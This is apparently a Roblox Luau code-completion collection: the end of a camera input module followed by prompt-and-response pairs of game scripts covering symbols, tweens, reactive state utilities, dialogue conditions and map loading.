			local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
			point = point * sign
			return clamp(-1, 1, point)
		end
		return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
	end

	function this:UpdateGamepad()
		local gamepadPan = this.GamepadPanningCamera
		if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then
			gamepadPan = gamepadLinearToCurve(gamepadPan)
			local currentTime = tick()
			if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then
				this.userPanningTheCamera = true
			elseif gamepadPan == ZERO_VECTOR2 then
				lastThumbstickRotate = nil
				if lastThumbstickPos == ZERO_VECTOR2 then
					currentSpeed = 0
				end
			end

			local finalConstant = 0

			if lastThumbstickRotate then
				if VRService.VREnabled then
					currentSpeed = vrMaxSpeed
				else
					local elapsedTime = (currentTime - lastThumbstickRotate) * 10
					currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds))

					if currentSpeed > maxSpeed then currentSpeed = maxSpeed end

					if lastVelocity then
						local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
						local velocityDeltaMag = (velocity - lastVelocity).magnitude

						if velocityDeltaMag > 12 then
							currentSpeed = currentSpeed * (20/velocityDeltaMag)
							if currentSpeed > maxSpeed then currentSpeed = maxSpeed end
						end
					end
				end

				local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end)
				finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed
				lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate)
			end

			lastThumbstickPos = gamepadPan
			lastThumbstickRotate = currentTime

			return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue())
		end

		return ZERO_VECTOR2
	end

	local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil

	function this:DisconnectInputEvents()
		if InputBeganConn then
			InputBeganConn:disconnect()
			InputBeganConn = nil
		end
		if InputChangedConn then
			InputChangedConn:disconnect()
			InputChangedConn = nil
		end
		if InputEndedConn then
			InputEndedConn:disconnect()
			InputEndedConn = nil
		end
		if MenuOpenedConn then
			MenuOpenedConn:disconnect()
			MenuOpenedConn = nil
		end
		if ShiftLockToggleConn then
			ShiftLockToggleConn:disconnect()
			ShiftLockToggleConn = nil
		end
		if GamepadConnectedConn then
			GamepadConnectedConn:disconnect()
			GamepadConnectedConn = nil
		end
		if GamepadDisconnectedConn then
			GamepadDisconnectedConn:disconnect()
			GamepadDisconnectedConn = nil
		end
		if subjectStateChangedConn then
			subjectStateChangedConn:disconnect()
			subjectStateChangedConn = nil
		end
		if workspaceChangedConn then
			workspaceChangedConn:disconnect()
			workspaceChangedConn = nil
		end
		if TouchActivateConn then
			TouchActivateConn:disconnect()
			TouchActivateConn = nil
		end

		this.TurningLeft = false
		this.TurningRight = false
		this.LastCameraTransform = nil
		self.LastSubjectCFrame = nil
		this.UserPanningTheCamera = false
		this.RotateInput = Vector2.new()
		this.GamepadPanningCamera = Vector2.new(0,0)

		-- Reset input states
		startPos = nil
		lastPos = nil
		panBeginLook = nil
		isRightMouseDown = false
		isMiddleMouseDown = false

		fingerTouches = {}
		NumUnsunkTouches = 0

		StartingDiff = nil
		pinchBeginZoom = nil

		-- Unlock mouse for example if right mouse button was being held down
		if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
			UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		end
	end

	function this:ResetInputStates()
		isRightMouseDown = false
		isMiddleMouseDown = false
		OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters

		if UserInputService.TouchEnabled then
			--[[menu opening was causing serious touch issues
			this should disable all active touch events if
			they're active when menu opens.]]
			for inputObject, value in pairs(fingerTouches) do
				fingerTouches[inputObject] = nil
			end
			panBeginLook = nil
			startPos = nil
			lastPos = nil
			this.UserPanningTheCamera = false
			StartingDiff = nil
			pinchBeginZoom = nil
			NumUnsunkTouches = 0
		end
	end

	function this.getGamepadPan(name, state, input)
		if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then

			if state == Enum.UserInputState.Cancel then
				this.GamepadPanningCamera = ZERO_VECTOR2
				return
			end

			local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
			if inputVector.magnitude > THUMBSTICK_DEADZONE then
				this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y)
			else
				this.GamepadPanningCamera = ZERO_VECTOR2
			end
		end
	end

	function this.doGamepadZoom(name, state, input)
		if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then
			if this.ZoomEnabled then
				if this:GetCameraZoom() > 0.5 then
					this:ZoomCamera(0)
				else
					this:ZoomCamera(10)
				end
			end
		end
	end

	function this:BindGamepadInputActions()
		ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2)
		ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3)
	end

	function this:ConnectInputEvents()
		InputBeganConn = UserInputService.InputBegan:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchBegan(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
				OnMouse2Down(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
				OnMouse3Down(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyDown(input, processed)
			end
		end)

		InputChangedConn = UserInputService.InputChanged:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchChanged(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseMovement then
				OnMouseMoved(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseWheel then
				OnMouseWheel(input, processed)
			end
		end)

		InputEndedConn = UserInputService.InputEnded:connect(function(input, processed)
			if input.UserInputType == Enum.UserInputType.Touch then
				OnTouchEnded(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
				OnMouse2Up(input, processed)
			elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
				OnMouse3Up(input, processed)
			end
			-- Keyboard
			if input.UserInputType == Enum.UserInputType.Keyboard then
				OnKeyUp(input, processed)
			end
		end)

		if touchWorkspaceEventEnabled then
			TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed)
				if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then
					if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then
						local tween = {
							from = this:GetCameraZoom(),
							to = DefaultZoom,
							start = tick(),
							duration = 0.2,
							func = function(from, to, alpha)
								this:ZoomCamera(from + (to - from)*alpha)
								return to
							end
						}
						tweens["Zoom"] = tween
					else
						local humanoid = this:GetHumanoid()
						if humanoid then
							local player = PlayersService.LocalPlayer
							if player and player.Character then
								if humanoid and humanoid.Torso then
									local tween = {
										from = this.RotateInput,
										to = calcLookBehindRotateInput(humanoid.Torso),
										start = tick(),
										duration = 0.2,
										func = function(from, to, alpha)
											to = calcLookBehindRotateInput(humanoid.Torso)
											if to then
												this.RotateInput = from + (to - from)*alpha
											end
											return to
										end
									}
									tweens["Rotate"] = tween

									-- reset old camera info so follow cam doesn't rotate us
									this.LastCameraTransform = nil
								end
							end
						end
					end
					lastTapTime = tick()
				end
			end)
		end

		MenuOpenedConn = GuiService.MenuOpened:connect(function()
			this:ResetInputStates()
		end)

		workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
		if workspace.CurrentCamera then
			onCurrentCameraChanged()
		end

		ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function()
			this:UpdateMouseBehavior()
		end)

		this.RotateInput = Vector2.new()

		this.activeGamepad = nil
		local function assignActivateGamepad()
			local connectedGamepads = UserInputService:GetConnectedGamepads()
			if #connectedGamepads > 0 then
				for i = 1, #connectedGamepads do
					if this.activeGamepad == nil then
						this.activeGamepad = connectedGamepads[i]
					elseif connectedGamepads[i].Value < this.activeGamepad.Value then
						this.activeGamepad = connectedGamepads[i]
					end
				end
			end

			if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
				this.activeGamepad = Enum.UserInputType.Gamepad1
			end
		end

		GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
			if this.activeGamepad ~= gamepadEnum then return end
			this.activeGamepad = nil
			assignActivateGamepad()
		end)

		GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
			if this.activeGamepad == nil then
				assignActivateGamepad()
			end
		end)

		self:BindGamepadInputActions()

		assignActivateGamepad()

		-- set mouse behavior
		self:UpdateMouseBehavior()
	end

	--Process tweens related to tap-to-recenter and double-tap-to-zoom
	--Needs to be called from specific cameras on each update
	function this:ProcessTweens()
		for name, tween in pairs(tweens) do
			local alpha = math.min(1.0, (tick() - tween.start)/tween.duration)
			tween.to = tween.func(tween.from, tween.to, alpha)
			if math.abs(1 - alpha) < 0.0001 then
				tweens[name] = nil
			end
		end
	end

	function this:SetEnabled(newState)
		if newState ~= self.Enabled then
			self.Enabled = newState
			if self.Enabled then
				self:ConnectInputEvents()
				self.cframe = workspace.CurrentCamera.CFrame
			else
				self:DisconnectInputEvents()
			end
		end
	end

	local function OnPlayerAdded(player)
		player.Changed:connect(function(prop)
			if this.Enabled then
				if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then
					 this:ZoomCameraFixedBy(0)
				end
			end
		end)

		local function OnCharacterAdded(newCharacter)

			local humanoid = findPlayerHumanoid(player)
			local start = tick()
			while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do
				wait()
				humanoid = findPlayerHumanoid(player)
			end

			if humanoid and humanoid.Torso and player.Character == newCharacter then
				local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
				local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook())
				local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y)
				if not IsFinite(horizontalShift) then
					horizontalShift = 0
				end
				if not IsFinite(vertShift) then
					vertShift = 0
				end
				this.RotateInput = Vector2.new(horizontalShift, vertShift)

				-- reset old camera info so follow cam doesn't rotate us
				this.LastCameraTransform = nil
			end

			-- Need to wait for camera cframe to update before we zoom in
			-- Not waiting will force camera to original cframe
			wait()
			this:ZoomCamera(this.DefaultZoom)
		end

		player.CharacterAdded:connect(function(character)
			if this.Enabled or SetCameraOnSpawn then
				OnCharacterAdded(character)
				SetCameraOnSpawn = false
			end
		end)
		if player.Character then
			spawn(function() OnCharacterAdded(player.Character) end)
		end
	end
	if PlayersService.LocalPlayer then
		OnPlayerAdded(PlayersService.LocalPlayer)
	end
	PlayersService.ChildAdded:connect(function(child)
		if child and PlayersService.LocalPlayer == child then
			OnPlayerAdded(PlayersService.LocalPlayer)
		end
	end)

	local function OnGameLoaded()
		hasGameLoaded = true
	end

	spawn(function()
		if game:IsLoaded() then
			OnGameLoaded()
		else
			game.Loaded:wait()
			OnGameLoaded()
		end
	end)

	local function OnDynamicThumbstickEnabled()
		if UserInputService.TouchEnabled then
			isDynamicThumbstickEnabled = true
		end
	end

	local function OnDynamicThumbstickDisabled()
		isDynamicThumbstickEnabled = false
	end

	local function OnGameSettingsTouchMovementModeChanged()
		if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
			if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
				OnDynamicThumbstickEnabled()
			else
				OnDynamicThumbstickDisabled()
			end
		end
	end

	local function OnDevTouchMovementModeChanged()
		if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
			OnDynamicThumbstickEnabled()
		else
			OnGameSettingsTouchMovementModeChanged()
		end
	end

	if PlayersService.LocalPlayer then
		PlayersService.LocalPlayer.Changed:Connect(function(prop)
			if prop == "DevTouchMovementMode" then
				OnDevTouchMovementModeChanged()
			end
		end)
		OnDevTouchMovementModeChanged()
	end

	GameSettings.Changed:Connect(function(prop)
		if prop == "TouchMovementMode" then
			OnGameSettingsTouchMovementModeChanged()
		end
	end)
	OnGameSettingsTouchMovementModeChanged()
	GameSettings:SetCameraYInvertVisible()
	pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end)

	return this
end

return CreateCamera


Prompt:
--[[
	Creates a Symbol with the given name.

	When printed or coerced to a string, the symbol will turn into the string
	given as its name.
]]

Response:
function Symbol.named(name)
	assert(type(name) == "string", "Symbols must be created using a string name!")

	local self = newproxy(true)

	local wrappedName = ("Symbol(%s)"):format(name)

	getmetatable(self).__tostring = function()
		return wrappedName
	end

	return self
end


Prompt:
--[[**
	ensures Roblox TweenInfo type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response: t.TweenInfo = primitive("TweenInfo")


Prompt: -- ALEX WAS HERE LOL

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local u2 = Random.new();
return function(...)
	local v1 = { ... };
	if type(v1[1][1]) == "table" then
		v1 = u1.Functions.CloneTable(v1[1]);
	end;
	if #v1 < 2 then
		return v1[1][1], nil, 100;
	end;
	local u3 = nil;
	(function()
		local v2 = 0;
		for v3, v4 in ipairs(v1) do
			v2 = v2 + v4[2];
		end;
		for v5, v6 in ipairs(v1) do
			local v7 = v6[2];
			v6[2] = v7 / v2;
			v6[3] = v7;
		end;
	end)();
	u3 = u2:NextNumber();
	local v8 = (function()
		local v9 = 0;
		for v10, v11 in ipairs(v1) do
			v9 = v9 + v11[2];
			if u3 <= v9 then
				return v11;
			end;
		end;
	end)();
	return v8[1], u3, v8[2];
end;


Prompt:
--[=[
	Maps the input brios to the output observables
	@since 3.6.0
	@param project project (Brio<T> | T) -> Brio<U> | U
	@return (source: Observable<Brio<T> | T>) -> Observable<Brio<U>>
]=]

Response:
function RxBrioUtils.map(project)
	return Rx.map(function(...)
		local n = select("#", ...)
		local brios = {}
		local args

		if n == 1 then
			if Brio.isBrio(...) then
				table.insert(brios, (...))
				args = (...):GetPackedValues()
			else
				args = {[1] = ...}
			end
		else
			args = {}
			for index, item in pairs({...}) do
				if Brio.isBrio(item) then
					table.insert(brios, item)
					args[index] = item:GetValue() -- we lose data here, but I think this is fine
				else
					args[index] = item
				end
			end
			args.n = n
		end

		local results = table.pack(project(table.unpack(args, 1, args.n)))
		local transformedResults = {}
		for i=1, results.n do
			local item = results[i]
			if Brio.isBrio(item) then
				table.insert(brios, item) -- add all subsequent brios into this table...
				transformedResults[i] = item:GetValue()
			else
				transformedResults[i] = item
			end
		end

		return BrioUtils.first(brios, table.unpack(transformedResults, 1, transformedResults.n))
	end)
end

function RxBrioUtils._mapResult(brio)
	return function(...)
		local n = select("#", ...)
		if n == 0 then
			return BrioUtils.withOtherValues(brio)
		elseif n == 1 then
			if Brio.isBrio(...) then
				return BrioUtils.first({brio, (...)}, (...):GetValue())
			else
				return BrioUtils.withOtherValues(brio, ...)
			end
		else
			local brios = { brio }
			local args = {}

			for index, item in pairs({...}) do
				if Brio.isBrio(item) then
					table.insert(brios, item)
					args[index] = item:GetValue() -- we lose data here, but I think this is fine
				else
					args[index] = item
				end
			end

			return BrioUtils.first(brios, unpack(args, 1, n))
		end
	end
end


Prompt:
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Character.Purity.Value > -30
end


Prompt: -- Pull maps from Maps.

Response:
for i, map in ipairs(OwnerMapInstallFolder:GetChildren()) do
	InstallMap(map)
end
OwnerMapInstallFolder.ChildAdded:Connect(function(map)
	wait()
	InstallMap(map)
end)


Prompt: -- @ModuleDescription Library containing other small function useful for programming.

Response:
local System = require(game.ReplicatedStorage.System)
local Module = {}
Module.Replicated = true

local HTTPService = game:GetService("HttpService")

function Module.Rotate(t)
	local output = {{}, {}, {}}

	for i, row in pairs(t) do
		for j = 1,3 do
			output[j][4-i] = row[j]
		end
	end

	return output
end

function Module.Compare(arr1, arr2) : boolean
	local a1 = HTTPService:JSONEncode(arr1)
	local a2 = HTTPService:JSONEncode(arr2)
	return a1 == a2
end

return Module


Prompt:
--[[function util.Tween(part,info,goal)
	local tween = game:GetService("TweenService"):Create(part,info,goal)
	return tween
end]]

Response:
--

function util.Tween(tbl)
	-- util.Tween( { part , { Position = Vector3.new(0,0,0) } , 2 , "Linear" , "Out" , 0 , false, 0 } )
	local parent,property,ttime,easingstyle,easingdirect,repeattime,reversable,delay = tbl[1],tbl[2],tbl[3] or 1,tbl[4] or "Linear",tbl[5] or "InOut",tbl[6] or 0,tbl[7] or false,tbl[8] or 0
	local ntw = game:GetService("TweenService"):Create(parent,TweenInfo.new(ttime,Enum.EasingStyle[easingstyle].Value,Enum.EasingDirection[easingdirect].Value,repeattime,reversable,delay),property)
	return ntw
end

function util.Sound(npar,sID,vol,pitch,looped)

	local par = npar or workspace

	local sound = Instance.new("Sound")
	sound.Parent = par

	sound.Volume = vol or 1
	if sID then sound.SoundId = "rbxassetid://" .. tostring(sID) end
	sound.Looped = looped or false
	sound.Pitch = pitch or 1

	return sound

end


Prompt:
--[[
	Called when the original table is changed.

	This will firstly find any values meeting any of the following criteria:

	- they were not previously present
	- a dependency used during generation of this value has changed

	It will recalculate those values, storing information about any dependencies
	used in the processor callback during value generation, and save the new value
	to the output array with the same key. If it is overwriting an older value,
	that older value will be passed to the destructor for cleanup.

	Finally, this function will find values that are no longer present, and remove
	their values from the output table and pass them to the destructor. You can re-use
	the same value multiple times and this will function will update them as little as
	possible; reusing the same values where possible.
]]

Response:
function class:update(): boolean
	local inputIsState = self._inputIsState
	local inputTable = if inputIsState then self._inputTable:get(false) else self._inputTable
	local outputValues = {}

	local didChange = false

	-- clean out value cache
	self._oldValueCache, self._valueCache = self._valueCache, self._oldValueCache
	local newValueCache = self._valueCache
	local oldValueCache = self._oldValueCache
	table.clear(newValueCache)

	-- clean out main dependency set
	for dependency in pairs(self.dependencySet) do
		dependency.dependentSet[self] = nil
	end
	self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
	table.clear(self.dependencySet)

	-- if the input table is a state object, add it as a dependency
	if inputIsState then
		self._inputTable.dependentSet[self] = true
		self.dependencySet[self._inputTable] = true
	end

	-- STEP 1: find values that changed or were not previously present
	for inKey, inValue in pairs(inputTable) do
		-- check if the value is new or changed
		local oldCachedValues = oldValueCache[inValue]
		local shouldRecalculate = oldCachedValues == nil

		-- get a cached value and its dependency/meta data if available
		local value, valueData, meta

		if type(oldCachedValues) == "table" and #oldCachedValues > 0 then
			local valueInfo = table.remove(oldCachedValues, #oldCachedValues)
			value = valueInfo.value
			valueData = valueInfo.valueData
			meta = valueInfo.meta

			if #oldCachedValues <= 0 then
				oldValueCache[inValue] = nil
			end
		elseif oldCachedValues ~= nil then
			oldValueCache[inValue] = nil
			shouldRecalculate = true
		end

		if valueData == nil then
			valueData = {
				dependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
				oldDependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
				dependencyValues = setmetatable({}, utility.WEAK_KEYS_METATABLE),
			}
		end

		-- check if the value's dependencies have changed
		if shouldRecalculate == false then
			for dependency, oldValue in pairs(valueData.dependencyValues) do
				if oldValue ~= dependency:get(false) then
					shouldRecalculate = true
					break
				end
			end
		end

		-- recalculate the output value if necessary
		if shouldRecalculate then
			valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet
			table.clear(valueData.dependencySet)

			local processOK, newOutValue, newMetaValue = Dependencies.captureDependencies(
				valueData.dependencySet,
				self._processor,
				inValue
			)

			if processOK then
				if self._destructor == nil and (utility.needsDestruction(newOutValue) or utility.needsDestruction(newMetaValue)) then
					warn("destructorNeededForValues")
				end

				-- pass the old value to the destructor if it exists
				if value ~= nil then
					local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, value, meta)
					if not destructOK then
						warn("forValuesDestructorError", err)
					end
				end

				-- store the new value and meta data
				value = newOutValue
				meta = newMetaValue
				didChange = true
			else
				-- restore old dependencies, because the new dependencies may be corrupt
				valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet

				warn("forValuesProcessorError", newOutValue)
			end
		end

		-- store the value and its dependency/meta data
		local newCachedValues = newValueCache[inValue]
		if newCachedValues == nil then
			newCachedValues = {}
			newValueCache[inValue] = newCachedValues
		end

		table.insert(newCachedValues, {
			value = value,
			valueData = valueData,
			meta = meta,
		})

		outputValues[inKey] = value

		-- save dependency values and add to main dependency set
		for dependency in pairs(valueData.dependencySet) do
			valueData.dependencyValues[dependency] = dependency:get(false)

			self.dependencySet[dependency] = true
			dependency.dependentSet[self] = true
		end
	end

	-- STEP 2: find values that were removed
	-- for tables of data, we just need to check if it's still in the cache
	for _oldInValue, oldCachedValueInfo in pairs(oldValueCache) do
		for _, valueInfo in ipairs(oldCachedValueInfo) do
			local oldValue = valueInfo.value
			local oldMetaValue = valueInfo.meta

			local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, oldValue, oldMetaValue)
			if not destructOK then
				warn("forValuesDestructorError", err)
			end

			didChange = true
		end

		table.clear(oldCachedValueInfo)
	end

	self._outputTable = outputValues

	return didChange
end

local function ForValues<VO, M>(
	inputTable,
	processor: (value: any) -> (VO, M?),
	destructor: (VO, M?) -> ()?
)

	local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function"

	local self = setmetatable({
		type = "State",
		kind = "ForValues",
		dependencySet = {},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, utility.WEAK_KEYS_METATABLE),
		_oldDependencySet = {},

		_processor = processor,
		_destructor = destructor,
		_inputIsState = inputIsState,

		_inputTable = inputTable,
		_outputTable = {},
		_valueCache = {},
		_oldValueCache = {},
	}, CLASS_METATABLE)

	self:update()

	return self
end

return ForValues